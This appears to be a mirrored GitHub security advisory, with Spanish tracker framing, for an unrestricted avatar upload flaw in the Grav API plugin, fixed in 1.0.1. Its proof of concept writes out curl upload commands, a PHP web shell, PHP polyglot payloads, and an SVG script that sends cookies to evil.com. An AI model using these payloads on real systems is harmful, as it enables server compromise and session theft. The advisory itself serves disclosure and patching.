GHSA-XC64-VH46-VPH6
Unrestricted File Upload via Avatar Endpoint - Arbitrary Content Stored on Disk
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XC64-VH46-VPH6 divulgada · CVSS 4.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The avatar upload endpoint accepts any file with a MIME type starting with `image/` and stores it verbatim on the server filesystem without inspecting the actual content. PHP code, SVG with embedded JavaScript, and polyglot payloads are all written to `user/accounts/avatars/` with predictable filenames. Direct HTTP access is blocked by `.htaccess` (403), but the files persist on disk, survive in backups, and would escalate to full remote code execution through any future path traversal or server misconfiguration.
### Details
`user/plugins/api/classes/Api/Controllers/UsersController.php:413-467`
The validation on line 431 checks only the declared MIME:
$mime = $file->getClientMediaType() ?? '';
if (!str_starts_with($mime, 'image/')) {
throw new ValidationException('Avatar must be an image file.');
}`$file->getClientMediaType()` returns whatever `Content-Type` the client declared in the multipart part - it is not verified against the actual file bytes. After this single check, the file is moved directly to disk at line 451:
$filepath = $avatarDir . '/' . $filename;
$file->moveTo($filepath);The extension is derived from the MIME type (lines 442-447), not the filename:
$ext = match ($mime) {
'image/png' => 'png',
'image/gif' => 'gif',
'image/webp' => 'webp',
default => 'jpg',
};Any MIME matching `image/*` that isn't `png`, `gif`, or `webp` defaults to `.jpg` - including `image/svg+xml`. This causes SVG payloads with `<script>` tags to be stored with a `.jpg` extension but retain their executable SVG content.
Compare with the general media upload handler which uses `HandlesMediaUploads` and `Utils::checkFilename()` to block dangerous extensions (`.php`, `.phtml`, etc.). The avatar endpoint uses none of these protections.
During testing, the following payloads were successfully stored:
| Declared MIME | Payload | Stored As | Result |
|---|---|---|---|
| `image/png` | Raw PHP `<?php echo 1;?>` | `user-...png` | PHP stored, no PNG header |
| `image/gif` | `GIF89a<?php echo "RCE";?>` | `user-...gif` | PHP in GIF header |
| `image/jpeg` | JPEG + `<?php system($_GET["c"]);?>` in EXIF | `user-...jpg` | PHP in EXIF |
| `image/svg+xml` | `<svg><script>alert(1)</script></svg>` | `user-...jpg` | SVG with `.jpg` ext, XSS intact |
### PoC
Prerequisites: Valid API token for any authenticated user (self-avatar upload requires no `api.users.write` permission).
TOKEN=$(curl -s -X POST "http://127.0.0.1/grav/api/v1/auth/token" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"P@ssw0rd123!"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
# Upload PHP code disguised as PNG
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
curl -s -X POST "http://127.0.0.1/grav/api/v1/users/user/avatar" \
-H "X-API-Token: ${TOKEN}" \
-F "avatar=@/tmp/shell.php;type=image/png;filename=avatar.png"
# HTTP 201 - PHP code stored at user/accounts/avatars/user-XXXXXXXX.png
# Upload SVG with embedded XSS
curl -s -X POST "http://127.0.0.1/grav/api/v1/users/user/avatar" \
-H "X-API-Token: ${TOKEN}" \
-F "avatar=@-;type=image/svg+xml;filename=xss.svg" <<'SVG'
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch("https://evil.com/?c="+document.cookie)</script>
</svg>
SVG
# HTTP 201 - SVG stored as user/accounts/avatars/user-XXXXXXXX.jpg
# Verify on disk
ls -la /var/www/html/grav/user/accounts/avatars/
# PHP and SVG payloads are stored alongside legitimate images### Impact
Unrestricted file upload of dangerous content. An authenticated user (any role with `site.login`) can plant arbitrary PHP, SVG, and polyglot payloads on the server filesystem at predictable paths under `user/accounts/avatars/`. Direct HTTP access returns 403 due to `.htaccess` rules, and the thumbnail service skips non-image content. However, the files persist on disk indefinitely, are included in Grav backup ZIP archives, and would provide immediate remote code execution through any path traversal, local file inclusion, or web server misconfiguration that exposes the directory.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Corregida | 1.0.1 | — | — |
1.0.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-xc64-vh46-vph6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
